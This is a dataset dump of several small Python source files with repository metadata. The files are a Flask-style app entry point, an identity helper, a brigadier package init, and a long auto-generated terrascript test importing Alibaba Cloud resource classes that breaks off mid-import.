[ "MIT" ]
2
2017-11-27T17:20:55.000Z
2017-11-28T08:41:20.000Z
sinas/__init__.py
Fruitscale/Sinas
eb7536162b7c10e14bbe37b0b6a11000ea7906ec
[ "MIT" ]
null
null
null
def main(): from sinas.app import create_app create_app().run()
14.6
36
0.657534
11
73
4.181818
0.727273
0.391304
0
0
0
0
0
0
0
0
0
0
0.219178
73
4
37
18.25
0.807018
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
true
0
0.333333
0
0.666667
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
7
e452cc1c0ffdedb3ba3935b723467c2de4b6b561
71
py
Python
registrate/utils.py
tombulled/register
7007de237fa97de633ce1eab37aee26219b38144
[ "MIT" ]
null
null
null
registrate/utils.py
tombulled/register
7007de237fa97de633ce1eab37aee26219b38144
[ "MIT" ]
1
2022-01-08T09:53:16.000Z
2022-01-08T09:57:11.000Z
registrate/utils.py
tombulled/register
7007de237fa97de633ce1eab37aee26219b38144
[ "MIT" ]
null
null
null
import typing def identity(x: typing.Any) -> typing.Any: return x
14.2
42
0.690141
11
71
4.454545
0.636364
0.367347
0
0
0
0
0
0
0
0
0
0
0.197183
71
4
43
17.75
0.859649
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0.333333
0.333333
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
1
1
0
0
7
e47aa950c23ae5083dfc6c342fda7b11d37a2c39
192
py
Python
brigadier/tree/__init__.py
NickNackGus/brigadier.py
43b315446711af3e313bdbb4b0b13a75f6f3a19e
[ "MIT" ]
null
null
null
brigadier/tree/__init__.py
NickNackGus/brigadier.py
43b315446711af3e313bdbb4b0b13a75f6f3a19e
[ "MIT" ]
1
2020-11-03T00:20:41.000Z
2020-11-04T06:16:16.000Z
brigadier/tree/__init__.py
NickNackGus/brigadier.py
43b315446711af3e313bdbb4b0b13a75f6f3a19e
[ "MIT" ]
1
2020-11-02T23:55:34.000Z
2020-11-02T23:55:34.000Z
from .argument_command_node import ArgumentCommandNode from .command_node import CommandNode from .literal_command_node import LiteralCommandNode from .root_command_node import RootCommandNode
48
54
0.901042
23
192
7.217391
0.478261
0.26506
0.409639
0
0
0
0
0
0
0
0
0
0.078125
192
4
55
48
0.937853
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
5f51fb985ac79d0429b997e12f7bcad19aaaca34
67,638
py
Python
tests/test_provider_aliyun_alicloud.py
mjuenema/python-terrascript
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
[ "BSD-2-Clause" ]
507
2017-07-26T02:58:38.000Z
2022-01-21T12:35:13.000Z
tests/test_provider_aliyun_alicloud.py
mjuenema/python-terrascript
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
[ "BSD-2-Clause" ]
135
2017-07-20T12:01:59.000Z
2021-10-04T22:25:40.000Z
tests/test_provider_aliyun_alicloud.py
mjuenema/python-terrascript
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
[ "BSD-2-Clause" ]
81
2018-02-20T17:55:28.000Z
2022-01-31T07:08:40.000Z
# tests/test_provider_aliyun_alicloud.py # Automatically generated by tools/makecode.py (24-Sep-2021 15:11:24 UTC) def test_provider_import(): import terrascript.provider.aliyun.alicloud def test_resource_import(): from terrascript.resource.aliyun.alicloud import alicloud_actiontrail from terrascript.resource.aliyun.alicloud import alicloud_actiontrail_trail from terrascript.resource.aliyun.alicloud import alicloud_adb_account from terrascript.resource.aliyun.alicloud import alicloud_adb_backup_policy from terrascript.resource.aliyun.alicloud import alicloud_adb_cluster from terrascript.resource.aliyun.alicloud import alicloud_adb_connection from terrascript.resource.aliyun.alicloud import alicloud_adb_db_cluster from terrascript.resource.aliyun.alicloud import alicloud_alb_acl from terrascript.resource.aliyun.alicloud import alicloud_alb_health_check_template from terrascript.resource.aliyun.alicloud import alicloud_alb_listener from terrascript.resource.aliyun.alicloud import alicloud_alb_load_balancer from terrascript.resource.aliyun.alicloud import alicloud_alb_rule from terrascript.resource.aliyun.alicloud import alicloud_alb_security_policy from terrascript.resource.aliyun.alicloud import alicloud_alb_server_group from terrascript.resource.aliyun.alicloud import alicloud_alidns_domain from terrascript.resource.aliyun.alicloud import alicloud_alidns_domain_attachment from terrascript.resource.aliyun.alicloud import alicloud_alidns_domain_group from terrascript.resource.aliyun.alicloud import alicloud_alidns_instance from terrascript.resource.aliyun.alicloud import alicloud_alidns_record from terrascript.resource.aliyun.alicloud import alicloud_alikafka_consumer_group from terrascript.resource.aliyun.alicloud import alicloud_alikafka_instance from terrascript.resource.aliyun.alicloud import alicloud_alikafka_sasl_acl from terrascript.resource.aliyun.alicloud import alicloud_alikafka_sasl_user from terrascript.resource.aliyun.alicloud import alicloud_alikafka_topic from terrascript.resource.aliyun.alicloud import alicloud_amqp_binding from terrascript.resource.aliyun.alicloud import alicloud_amqp_exchange from terrascript.resource.aliyun.alicloud import alicloud_amqp_instance from terrascript.resource.aliyun.alicloud import alicloud_amqp_queue from terrascript.resource.aliyun.alicloud import alicloud_amqp_virtual_host from terrascript.resource.aliyun.alicloud import alicloud_api_gateway_api from terrascript.resource.aliyun.alicloud import alicloud_api_gateway_app from terrascript.resource.aliyun.alicloud import alicloud_api_gateway_app_attachment from terrascript.resource.aliyun.alicloud import alicloud_api_gateway_group from terrascript.resource.aliyun.alicloud import alicloud_api_gateway_vpc_access from terrascript.resource.aliyun.alicloud import alicloud_arms_alert_contact from terrascript.resource.aliyun.alicloud import alicloud_arms_alert_contact_group from terrascript.resource.aliyun.alicloud import alicloud_arms_dispatch_rule from terrascript.resource.aliyun.alicloud import alicloud_arms_prometheus_alert_rule from terrascript.resource.aliyun.alicloud import alicloud_auto_provisioning_group from terrascript.resource.aliyun.alicloud import alicloud_bastionhost_host from terrascript.resource.aliyun.alicloud import alicloud_bastionhost_host_account from terrascript.resource.aliyun.alicloud import ( alicloud_bastionhost_host_account_user_attachment, ) from terrascript.resource.aliyun.alicloud import ( alicloud_bastionhost_host_account_user_group_attachment, ) from terrascript.resource.aliyun.alicloud import ( alicloud_bastionhost_host_attachment, ) from terrascript.resource.aliyun.alicloud import alicloud_bastionhost_host_group from terrascript.resource.aliyun.alicloud import ( alicloud_bastionhost_host_group_account_user_attachment, ) from terrascript.resource.aliyun.alicloud import ( alicloud_bastionhost_host_group_account_user_group_attachment, ) from terrascript.resource.aliyun.alicloud import alicloud_bastionhost_instance from terrascript.resource.aliyun.alicloud import alicloud_bastionhost_user from terrascript.resource.aliyun.alicloud import ( alicloud_bastionhost_user_attachment, ) from terrascript.resource.aliyun.alicloud import alicloud_bastionhost_user_group from terrascript.resource.aliyun.alicloud import alicloud_brain_industrial_pid_loop from terrascript.resource.aliyun.alicloud import ( alicloud_brain_industrial_pid_organization, ) from terrascript.resource.aliyun.alicloud import ( alicloud_brain_industrial_pid_project, ) from terrascript.resource.aliyun.alicloud import alicloud_cas_certificate from terrascript.resource.aliyun.alicloud import alicloud_cassandra_backup_plan from terrascript.resource.aliyun.alicloud import alicloud_cassandra_cluster from terrascript.resource.aliyun.alicloud import alicloud_cassandra_data_center from terrascript.resource.aliyun.alicloud import alicloud_cddc_dedicated_host_group from terrascript.resource.aliyun.alicloud import alicloud_cdn_domain from terrascript.resource.aliyun.alicloud import alicloud_cdn_domain_config from terrascript.resource.aliyun.alicloud import alicloud_cdn_domain_new from terrascript.resource.aliyun.alicloud import alicloud_cdn_real_time_log_delivery from terrascript.resource.aliyun.alicloud import alicloud_cen_bandwidth_limit from terrascript.resource.aliyun.alicloud import alicloud_cen_bandwidth_package from terrascript.resource.aliyun.alicloud import ( alicloud_cen_bandwidth_package_attachment, ) from terrascript.resource.aliyun.alicloud import alicloud_cen_flowlog from terrascript.resource.aliyun.alicloud import alicloud_cen_instance from terrascript.resource.aliyun.alicloud import alicloud_cen_instance_attachment from terrascript.resource.aliyun.alicloud import alicloud_cen_instance_grant from terrascript.resource.aliyun.alicloud import alicloud_cen_private_zone from terrascript.resource.aliyun.alicloud import alicloud_cen_route_entry from terrascript.resource.aliyun.alicloud import alicloud_cen_route_map from terrascript.resource.aliyun.alicloud import alicloud_cen_route_service from terrascript.resource.aliyun.alicloud import alicloud_cen_transit_router from terrascript.resource.aliyun.alicloud import ( alicloud_cen_transit_router_peer_attachment, ) from terrascript.resource.aliyun.alicloud import ( alicloud_cen_transit_router_route_entry, ) from terrascript.resource.aliyun.alicloud import ( alicloud_cen_transit_router_route_table, ) from terrascript.resource.aliyun.alicloud import ( alicloud_cen_transit_router_route_table_association, ) from terrascript.resource.aliyun.alicloud import ( alicloud_cen_transit_router_route_table_propagation, ) from terrascript.resource.aliyun.alicloud import ( alicloud_cen_transit_router_vbr_attachment, ) from terrascript.resource.aliyun.alicloud import ( alicloud_cen_transit_router_vpc_attachment, ) from terrascript.resource.aliyun.alicloud import alicloud_cen_vbr_health_check from terrascript.resource.aliyun.alicloud import alicloud_click_house_account from terrascript.resource.aliyun.alicloud import alicloud_click_house_db_cluster from terrascript.resource.aliyun.alicloud import alicloud_cloud_connect_network from terrascript.resource.aliyun.alicloud import ( alicloud_cloud_connect_network_attachment, ) from terrascript.resource.aliyun.alicloud import ( alicloud_cloud_connect_network_grant, ) from terrascript.resource.aliyun.alicloud import ( alicloud_cloud_firewall_control_policy, ) from terrascript.resource.aliyun.alicloud import ( alicloud_cloud_firewall_control_policy_order, ) from terrascript.resource.aliyun.alicloud import alicloud_cloud_sso_directory from terrascript.resource.aliyun.alicloud import ( alicloud_cloud_storage_gateway_gateway, ) from terrascript.resource.aliyun.alicloud import ( alicloud_cloud_storage_gateway_storage_bundle, ) from terrascript.resource.aliyun.alicloud import alicloud_cms_alarm from terrascript.resource.aliyun.alicloud import alicloud_cms_alarm_contact from terrascript.resource.aliyun.alicloud import alicloud_cms_alarm_contact_group from terrascript.resource.aliyun.alicloud import alicloud_cms_group_metric_rule from terrascript.resource.aliyun.alicloud import alicloud_cms_metric_rule_template from terrascript.resource.aliyun.alicloud import alicloud_cms_monitor_group from terrascript.resource.aliyun.alicloud import ( alicloud_cms_monitor_group_instances, ) from terrascript.resource.aliyun.alicloud import alicloud_cms_site_monitor from terrascript.resource.aliyun.alicloud import alicloud_common_bandwidth_package from terrascript.resource.aliyun.alicloud import ( alicloud_common_bandwidth_package_attachment, ) from terrascript.resource.aliyun.alicloud import ( alicloud_config_aggregate_compliance_pack, ) from terrascript.resource.aliyun.alicloud import ( alicloud_config_aggregate_config_rule, ) from terrascript.resource.aliyun.alicloud import alicloud_config_aggregator from terrascript.resource.aliyun.alicloud import alicloud_config_compliance_pack from terrascript.resource.aliyun.alicloud import ( alicloud_config_configuration_recorder, ) from terrascript.resource.aliyun.alicloud import alicloud_config_delivery_channel from terrascript.resource.aliyun.alicloud import alicloud_config_rule from terrascript.resource.aliyun.alicloud import alicloud_container_cluster from terrascript.resource.aliyun.alicloud import alicloud_copy_image from terrascript.resource.aliyun.alicloud import alicloud_cr_ee_instance from terrascript.resource.aliyun.alicloud import alicloud_cr_ee_namespace from terrascript.resource.aliyun.alicloud import alicloud_cr_ee_repo from terrascript.resource.aliyun.alicloud import alicloud_cr_ee_sync_rule from terrascript.resource.aliyun.alicloud import alicloud_cr_namespace from terrascript.resource.aliyun.alicloud import alicloud_cr_repo from terrascript.resource.aliyun.alicloud import alicloud_cs_application from terrascript.resource.aliyun.alicloud import alicloud_cs_autoscaling_config from terrascript.resource.aliyun.alicloud import alicloud_cs_edge_kubernetes from terrascript.resource.aliyun.alicloud import alicloud_cs_kubernetes from terrascript.resource.aliyun.alicloud import alicloud_cs_kubernetes_autoscaler from terrascript.resource.aliyun.alicloud import alicloud_cs_kubernetes_node_pool from terrascript.resource.aliyun.alicloud import alicloud_cs_kubernetes_permissions from terrascript.resource.aliyun.alicloud import alicloud_cs_managed_kubernetes from terrascript.resource.aliyun.alicloud import alicloud_cs_serverless_kubernetes from terrascript.resource.aliyun.alicloud import alicloud_cs_swarm from terrascript.resource.aliyun.alicloud import alicloud_data_works_folder from terrascript.resource.aliyun.alicloud import alicloud_database_gateway_gateway from terrascript.resource.aliyun.alicloud import alicloud_datahub_project from terrascript.resource.aliyun.alicloud import alicloud_datahub_subscription from terrascript.resource.aliyun.alicloud import alicloud_datahub_topic from terrascript.resource.aliyun.alicloud import alicloud_db_account from terrascript.resource.aliyun.alicloud import alicloud_db_account_privilege from terrascript.resource.aliyun.alicloud import alicloud_db_backup_policy from terrascript.resource.aliyun.alicloud import alicloud_db_connection from terrascript.resource.aliyun.alicloud import alicloud_db_database from terrascript.resource.aliyun.alicloud import alicloud_db_instance from terrascript.resource.aliyun.alicloud import ( alicloud_db_read_write_splitting_connection, ) from terrascript.resource.aliyun.alicloud import alicloud_db_readonly_instance from terrascript.resource.aliyun.alicloud import alicloud_dbfs_instance from terrascript.resource.aliyun.alicloud import alicloud_dcdn_domain from terrascript.resource.aliyun.alicloud import alicloud_dcdn_domain_config from terrascript.resource.aliyun.alicloud import alicloud_ddosbgp_instance from terrascript.resource.aliyun.alicloud import alicloud_ddoscoo_domain_resource from terrascript.resource.aliyun.alicloud import alicloud_ddoscoo_instance from terrascript.resource.aliyun.alicloud import alicloud_ddoscoo_port from terrascript.resource.aliyun.alicloud import alicloud_ddoscoo_scheduler_rule from terrascript.resource.aliyun.alicloud import alicloud_dfs_access_group from terrascript.resource.aliyun.alicloud import alicloud_direct_mail_domain from terrascript.resource.aliyun.alicloud import alicloud_direct_mail_mail_address from terrascript.resource.aliyun.alicloud import alicloud_direct_mail_receivers from terrascript.resource.aliyun.alicloud import alicloud_disk from terrascript.resource.aliyun.alicloud import alicloud_disk_attachment from terrascript.resource.aliyun.alicloud import alicloud_dms_enterprise_instance from terrascript.resource.aliyun.alicloud import alicloud_dms_enterprise_user from terrascript.resource.aliyun.alicloud import alicloud_dns from terrascript.resource.aliyun.alicloud import alicloud_dns_domain from terrascript.resource.aliyun.alicloud import alicloud_dns_domain_attachment from terrascript.resource.aliyun.alicloud import alicloud_dns_group from terrascript.resource.aliyun.alicloud import alicloud_dns_instance from terrascript.resource.aliyun.alicloud import alicloud_dns_record from terrascript.resource.aliyun.alicloud import alicloud_drds_instance from terrascript.resource.aliyun.alicloud import alicloud_dts_job_monitor_rule from terrascript.resource.aliyun.alicloud import alicloud_ecd_policy_group from terrascript.resource.aliyun.alicloud import alicloud_eci_container_group from terrascript.resource.aliyun.alicloud import alicloud_eci_image_cache from terrascript.resource.aliyun.alicloud import alicloud_eci_openapi_image_cache from terrascript.resource.aliyun.alicloud import alicloud_ecp_key_pair from terrascript.resource.aliyun.alicloud import alicloud_ecs_auto_snapshot_policy from terrascript.resource.aliyun.alicloud import ( alicloud_ecs_auto_snapshot_policy_attachment, ) from terrascript.resource.aliyun.alicloud import alicloud_ecs_command from terrascript.resource.aliyun.alicloud import alicloud_ecs_dedicated_host from terrascript.resource.aliyun.alicloud import alicloud_ecs_disk from terrascript.resource.aliyun.alicloud import alicloud_ecs_disk_attachment from terrascript.resource.aliyun.alicloud import alicloud_ecs_hpc_cluster from terrascript.resource.aliyun.alicloud import alicloud_ecs_key_pair from terrascript.resource.aliyun.alicloud import alicloud_ecs_key_pair_attachment from terrascript.resource.aliyun.alicloud import alicloud_ecs_launch_template from terrascript.resource.aliyun.alicloud import alicloud_ecs_network_interface from terrascript.resource.aliyun.alicloud import ( alicloud_ecs_network_interface_attachment, ) from terrascript.resource.aliyun.alicloud import alicloud_ecs_snapshot from terrascript.resource.aliyun.alicloud import alicloud_edas_application from terrascript.resource.aliyun.alicloud import ( alicloud_edas_application_deployment, ) from terrascript.resource.aliyun.alicloud import alicloud_edas_application_scale from terrascript.resource.aliyun.alicloud import alicloud_edas_cluster from terrascript.resource.aliyun.alicloud import alicloud_edas_deploy_group from terrascript.resource.aliyun.alicloud import ( alicloud_edas_instance_cluster_attachment, ) from terrascript.resource.aliyun.alicloud import alicloud_edas_k8s_application from terrascript.resource.aliyun.alicloud import alicloud_edas_k8s_cluster from terrascript.resource.aliyun.alicloud import alicloud_edas_slb_attachment from terrascript.resource.aliyun.alicloud import alicloud_ehpc_job_template from terrascript.resource.aliyun.alicloud import alicloud_eip from terrascript.resource.aliyun.alicloud import alicloud_eip_address from terrascript.resource.aliyun.alicloud import alicloud_eip_association from terrascript.resource.aliyun.alicloud import ( alicloud_eipanycast_anycast_eip_address, ) from terrascript.resource.aliyun.alicloud import ( alicloud_eipanycast_anycast_eip_address_attachment, ) from terrascript.resource.aliyun.alicloud import alicloud_elasticsearch_instance from terrascript.resource.aliyun.alicloud import alicloud_emr_cluster from terrascript.resource.aliyun.alicloud import alicloud_ens_key_pair from terrascript.resource.aliyun.alicloud import alicloud_ess_alarm from terrascript.resource.aliyun.alicloud import alicloud_ess_attachment from terrascript.resource.aliyun.alicloud import alicloud_ess_lifecycle_hook from terrascript.resource.aliyun.alicloud import alicloud_ess_notification from terrascript.resource.aliyun.alicloud import alicloud_ess_scaling_configuration from terrascript.resource.aliyun.alicloud import alicloud_ess_scaling_group from terrascript.resource.aliyun.alicloud import alicloud_ess_scaling_rule from terrascript.resource.aliyun.alicloud import ( alicloud_ess_scalinggroup_vserver_groups, ) from terrascript.resource.aliyun.alicloud import alicloud_ess_schedule from terrascript.resource.aliyun.alicloud import alicloud_ess_scheduled_task from terrascript.resource.aliyun.alicloud import alicloud_event_bridge_event_bus from terrascript.resource.aliyun.alicloud import alicloud_event_bridge_event_source from terrascript.resource.aliyun.alicloud import alicloud_event_bridge_rule from terrascript.resource.aliyun.alicloud import alicloud_event_bridge_slr from terrascript.resource.aliyun.alicloud import ( alicloud_express_connect_physical_connection, ) from terrascript.resource.aliyun.alicloud import ( alicloud_express_connect_virtual_border_router, ) from terrascript.resource.aliyun.alicloud import alicloud_fc_alias from terrascript.resource.aliyun.alicloud import alicloud_fc_custom_domain from terrascript.resource.aliyun.alicloud import alicloud_fc_function from terrascript.resource.aliyun.alicloud import ( alicloud_fc_function_async_invoke_config, ) from terrascript.resource.aliyun.alicloud import alicloud_fc_service from terrascript.resource.aliyun.alicloud import alicloud_fc_trigger from terrascript.resource.aliyun.alicloud import alicloud_fnf_flow from terrascript.resource.aliyun.alicloud import alicloud_fnf_schedule from terrascript.resource.aliyun.alicloud import alicloud_forward_entry from terrascript.resource.aliyun.alicloud import alicloud_ga_accelerator from terrascript.resource.aliyun.alicloud import alicloud_ga_bandwidth_package from terrascript.resource.aliyun.alicloud import ( alicloud_ga_bandwidth_package_attachment, ) from terrascript.resource.aliyun.alicloud import alicloud_ga_endpoint_group from terrascript.resource.aliyun.alicloud import alicloud_ga_forwarding_rule from terrascript.resource.aliyun.alicloud import alicloud_ga_ip_set from terrascript.resource.aliyun.alicloud import alicloud_ga_listener from terrascript.resource.aliyun.alicloud import alicloud_gpdb_connection from terrascript.resource.aliyun.alicloud import alicloud_gpdb_elastic_instance from terrascript.resource.aliyun.alicloud import alicloud_gpdb_instance from terrascript.resource.aliyun.alicloud import alicloud_graph_database_db_instance from terrascript.resource.aliyun.alicloud import alicloud_havip from terrascript.resource.aliyun.alicloud import alicloud_havip_attachment from terrascript.resource.aliyun.alicloud import alicloud_hbase_instance from terrascript.resource.aliyun.alicloud import alicloud_hbr_ecs_backup_client from terrascript.resource.aliyun.alicloud import alicloud_hbr_ecs_backup_plan from terrascript.resource.aliyun.alicloud import alicloud_hbr_nas_backup_plan from terrascript.resource.aliyun.alicloud import alicloud_hbr_oss_backup_plan from terrascript.resource.aliyun.alicloud import alicloud_hbr_restore_job from terrascript.resource.aliyun.alicloud import alicloud_hbr_vault from terrascript.resource.aliyun.alicloud import alicloud_image from terrascript.resource.aliyun.alicloud import alicloud_image_copy from terrascript.resource.aliyun.alicloud import alicloud_image_export from terrascript.resource.aliyun.alicloud import alicloud_image_import from terrascript.resource.aliyun.alicloud import alicloud_image_share_permission from terrascript.resource.aliyun.alicloud import alicloud_imm_project from terrascript.resource.aliyun.alicloud import alicloud_instance from terrascript.resource.aliyun.alicloud import alicloud_iot_device_group from terrascript.resource.aliyun.alicloud import alicloud_key_pair from terrascript.resource.aliyun.alicloud import alicloud_key_pair_attachment from terrascript.resource.aliyun.alicloud import alicloud_kms_alias from terrascript.resource.aliyun.alicloud import alicloud_kms_ciphertext from terrascript.resource.aliyun.alicloud import alicloud_kms_key from terrascript.resource.aliyun.alicloud import alicloud_kms_key_version from terrascript.resource.aliyun.alicloud import alicloud_kms_secret from terrascript.resource.aliyun.alicloud import alicloud_kvstore_account from terrascript.resource.aliyun.alicloud import alicloud_kvstore_audit_log_config from terrascript.resource.aliyun.alicloud import alicloud_kvstore_backup_policy from terrascript.resource.aliyun.alicloud import alicloud_kvstore_connection from terrascript.resource.aliyun.alicloud import alicloud_kvstore_instance from terrascript.resource.aliyun.alicloud import alicloud_launch_template from terrascript.resource.aliyun.alicloud import alicloud_lindorm_instance from terrascript.resource.aliyun.alicloud import alicloud_log_alert from terrascript.resource.aliyun.alicloud import alicloud_log_audit from terrascript.resource.aliyun.alicloud import alicloud_log_dashboard from terrascript.resource.aliyun.alicloud import alicloud_log_etl from terrascript.resource.aliyun.alicloud import alicloud_log_machine_group from terrascript.resource.aliyun.alicloud import alicloud_log_oss_shipper from terrascript.resource.aliyun.alicloud import alicloud_log_project from terrascript.resource.aliyun.alicloud import alicloud_log_store from terrascript.resource.aliyun.alicloud import alicloud_log_store_index from terrascript.resource.aliyun.alicloud import alicloud_logtail_attachment from terrascript.resource.aliyun.alicloud import alicloud_logtail_config from terrascript.resource.aliyun.alicloud import alicloud_market_order from terrascript.resource.aliyun.alicloud import alicloud_maxcompute_project from terrascript.resource.aliyun.alicloud import alicloud_mns_queue from terrascript.resource.aliyun.alicloud import alicloud_mns_topic from terrascript.resource.aliyun.alicloud import alicloud_mns_topic_subscription from terrascript.resource.aliyun.alicloud import alicloud_mongodb_instance from terrascript.resource.aliyun.alicloud import alicloud_mongodb_sharding_instance from terrascript.resource.aliyun.alicloud import alicloud_msc_sub_contact from terrascript.resource.aliyun.alicloud import alicloud_msc_sub_subscription from terrascript.resource.aliyun.alicloud import alicloud_mse_cluster from terrascript.resource.aliyun.alicloud import alicloud_nas_access_group from terrascript.resource.aliyun.alicloud import alicloud_nas_access_rule from terrascript.resource.aliyun.alicloud import alicloud_nas_file_system from terrascript.resource.aliyun.alicloud import alicloud_nas_mount_target from terrascript.resource.aliyun.alicloud import alicloud_nat_gateway from terrascript.resource.aliyun.alicloud import alicloud_network_acl from terrascript.resource.aliyun.alicloud import alicloud_network_acl_attachment from terrascript.resource.aliyun.alicloud import alicloud_network_acl_entries from terrascript.resource.aliyun.alicloud import alicloud_network_interface from terrascript.resource.aliyun.alicloud import ( alicloud_network_interface_attachment, ) from terrascript.resource.aliyun.alicloud import alicloud_ons_group from terrascript.resource.aliyun.alicloud import alicloud_ons_instance from terrascript.resource.aliyun.alicloud import alicloud_ons_topic from terrascript.resource.aliyun.alicloud import alicloud_oos_execution from terrascript.resource.aliyun.alicloud import alicloud_oos_template from terrascript.resource.aliyun.alicloud import alicloud_open_search_app_group from terrascript.resource.aliyun.alicloud import alicloud_oss_bucket from terrascript.resource.aliyun.alicloud import alicloud_oss_bucket_object from terrascript.resource.aliyun.alicloud import alicloud_ots_instance from terrascript.resource.aliyun.alicloud import alicloud_ots_instance_attachment from terrascript.resource.aliyun.alicloud import alicloud_ots_table from terrascript.resource.aliyun.alicloud import alicloud_polardb_account from terrascript.resource.aliyun.alicloud import alicloud_polardb_account_privilege from terrascript.resource.aliyun.alicloud import alicloud_polardb_backup_policy from terrascript.resource.aliyun.alicloud import alicloud_polardb_cluster from terrascript.resource.aliyun.alicloud import alicloud_polardb_database from terrascript.resource.aliyun.alicloud import alicloud_polardb_endpoint from terrascript.resource.aliyun.alicloud import alicloud_polardb_endpoint_address from terrascript.resource.aliyun.alicloud import alicloud_privatelink_vpc_endpoint from terrascript.resource.aliyun.alicloud import ( alicloud_privatelink_vpc_endpoint_connection, ) from terrascript.resource.aliyun.alicloud import ( alicloud_privatelink_vpc_endpoint_service, ) from terrascript.resource.aliyun.alicloud import ( alicloud_privatelink_vpc_endpoint_service_resource, ) from terrascript.resource.aliyun.alicloud import ( alicloud_privatelink_vpc_endpoint_service_user, ) from terrascript.resource.aliyun.alicloud import ( alicloud_privatelink_vpc_endpoint_zone, ) from terrascript.resource.aliyun.alicloud import alicloud_pvtz_zone from terrascript.resource.aliyun.alicloud import alicloud_pvtz_zone_attachment from terrascript.resource.aliyun.alicloud import alicloud_pvtz_zone_record from terrascript.resource.aliyun.alicloud import alicloud_quick_bi_user from terrascript.resource.aliyun.alicloud import alicloud_quotas_application_info from terrascript.resource.aliyun.alicloud import alicloud_quotas_quota_alarm from terrascript.resource.aliyun.alicloud import alicloud_quotas_quota_application from terrascript.resource.aliyun.alicloud import alicloud_ram_access_key from terrascript.resource.aliyun.alicloud import alicloud_ram_account_alias from terrascript.resource.aliyun.alicloud import ( alicloud_ram_account_password_policy, ) from terrascript.resource.aliyun.alicloud import alicloud_ram_alias from terrascript.resource.aliyun.alicloud import alicloud_ram_group from terrascript.resource.aliyun.alicloud import alicloud_ram_group_membership from terrascript.resource.aliyun.alicloud import ( alicloud_ram_group_policy_attachment, ) from terrascript.resource.aliyun.alicloud import alicloud_ram_login_profile from terrascript.resource.aliyun.alicloud import alicloud_ram_policy from terrascript.resource.aliyun.alicloud import alicloud_ram_role from terrascript.resource.aliyun.alicloud import alicloud_ram_role_attachment from terrascript.resource.aliyun.alicloud import alicloud_ram_role_policy_attachment from terrascript.resource.aliyun.alicloud import alicloud_ram_saml_provider from terrascript.resource.aliyun.alicloud import alicloud_ram_user from terrascript.resource.aliyun.alicloud import alicloud_ram_user_policy_attachment from terrascript.resource.aliyun.alicloud import alicloud_rds_account from terrascript.resource.aliyun.alicloud import alicloud_rds_parameter_group from terrascript.resource.aliyun.alicloud import alicloud_reserved_instance from terrascript.resource.aliyun.alicloud import alicloud_resource_manager_account from terrascript.resource.aliyun.alicloud import ( alicloud_resource_manager_control_policy, ) from terrascript.resource.aliyun.alicloud import ( alicloud_resource_manager_control_policy_attachment, ) from terrascript.resource.aliyun.alicloud import alicloud_resource_manager_folder from terrascript.resource.aliyun.alicloud import alicloud_resource_manager_handshake from terrascript.resource.aliyun.alicloud import alicloud_resource_manager_policy from terrascript.resource.aliyun.alicloud import ( alicloud_resource_manager_policy_attachment, ) from terrascript.resource.aliyun.alicloud import ( alicloud_resource_manager_policy_version, ) from terrascript.resource.aliyun.alicloud import ( alicloud_resource_manager_resource_directory, ) from terrascript.resource.aliyun.alicloud import ( alicloud_resource_manager_resource_group, ) from terrascript.resource.aliyun.alicloud import ( alicloud_resource_manager_resource_share, ) from terrascript.resource.aliyun.alicloud import alicloud_resource_manager_role from terrascript.resource.aliyun.alicloud import ( alicloud_resource_manager_shared_resource, ) from terrascript.resource.aliyun.alicloud import ( alicloud_resource_manager_shared_target, ) from terrascript.resource.aliyun.alicloud import alicloud_ros_change_set from terrascript.resource.aliyun.alicloud import alicloud_ros_stack from terrascript.resource.aliyun.alicloud import alicloud_ros_stack_group from terrascript.resource.aliyun.alicloud import alicloud_ros_template from terrascript.resource.aliyun.alicloud import alicloud_route_entry from terrascript.resource.aliyun.alicloud import alicloud_route_table from terrascript.resource.aliyun.alicloud import alicloud_route_table_attachment from terrascript.resource.aliyun.alicloud import alicloud_router_interface from terrascript.resource.aliyun.alicloud import ( alicloud_router_interface_connection, ) from terrascript.resource.aliyun.alicloud import alicloud_sae_application from terrascript.resource.aliyun.alicloud import alicloud_sae_config_map from terrascript.resource.aliyun.alicloud import alicloud_sae_namespace from terrascript.resource.aliyun.alicloud import alicloud_sag_acl from terrascript.resource.aliyun.alicloud import alicloud_sag_acl_rule from terrascript.resource.aliyun.alicloud import alicloud_sag_client_user from terrascript.resource.aliyun.alicloud import alicloud_sag_dnat_entry from terrascript.resource.aliyun.alicloud import alicloud_sag_qos from terrascript.resource.aliyun.alicloud import alicloud_sag_qos_car from terrascript.resource.aliyun.alicloud import alicloud_sag_qos_policy from terrascript.resource.aliyun.alicloud import alicloud_sag_snat_entry from terrascript.resource.aliyun.alicloud import alicloud_scdn_domain from terrascript.resource.aliyun.alicloud import alicloud_scdn_domain_config from terrascript.resource.aliyun.alicloud import alicloud_sddp_config from terrascript.resource.aliyun.alicloud import alicloud_sddp_instance from terrascript.resource.aliyun.alicloud import alicloud_sddp_rule from terrascript.resource.aliyun.alicloud import alicloud_security_center_group from terrascript.resource.aliyun.alicloud import alicloud_security_group from terrascript.resource.aliyun.alicloud import alicloud_security_group_rule from terrascript.resource.aliyun.alicloud import ( alicloud_simple_application_server_instance, ) from terrascript.resource.aliyun.alicloud import alicloud_slb from terrascript.resource.aliyun.alicloud import alicloud_slb_acl from terrascript.resource.aliyun.alicloud import alicloud_slb_attachment from terrascript.resource.aliyun.alicloud import alicloud_slb_backend_server from terrascript.resource.aliyun.alicloud import alicloud_slb_ca_certificate from terrascript.resource.aliyun.alicloud import alicloud_slb_domain_extension from terrascript.resource.aliyun.alicloud import alicloud_slb_listener from terrascript.resource.aliyun.alicloud import alicloud_slb_load_balancer from terrascript.resource.aliyun.alicloud import ( alicloud_slb_master_slave_server_group, ) from terrascript.resource.aliyun.alicloud import alicloud_slb_rule from terrascript.resource.aliyun.alicloud import 